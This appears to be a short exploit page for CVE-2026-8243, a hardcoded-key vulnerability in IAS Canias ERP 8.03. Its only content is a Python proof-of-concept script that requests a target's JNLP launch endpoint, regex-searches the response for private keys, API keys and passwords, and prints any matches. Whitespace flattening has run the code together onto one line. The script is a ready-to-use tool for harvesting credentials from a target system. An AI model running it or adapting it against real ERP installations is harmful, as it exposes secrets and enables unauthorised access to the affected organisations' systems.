CVE-2026-8243 IAS Canias ERP 硬编码密钥漏洞

import re import requests # Proof of Concept for CVE-2026-8243 # Description: Checks for hardcoded keys in JNLP endpoint responses. # Target: IAS Canias ERP 8.03 def check_hardcoded_keys(target_url): """ Fetches the target URL and searches for potential hardcoded keys. """ try: response = requests.get(target_url, timeout=10) content = response.text # Regex pattern to find potential hardcoded keys (Base64 strings or specific key declarations) # Note: Adjust pattern based on actual application structure key_patterns = [ r'(private[_-]?key|secret[_-]?key|api[_-]?key)[\s]*[:=][\s]*["\']([a-zA-Z0-9+/=]{16,})["\']', r'password[\s]*[:=][\s]*["\']([^"\'>]{8,})["\']' ] found_keys = [] for pattern in key_patterns: matches = re.findall(pattern, content, re.IGNORECASE) if matches: found_keys.extend(matches) if found_keys: print(f"[+] Potential hardcoded keys found at {target_url}:") for match in found_keys: print(f" - {match}") else: print("[-] No obvious hardcoded keys detected in response.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target endpoint target = "http://target-host:port/canias/jnlp/launch" check_hardcoded_keys(target)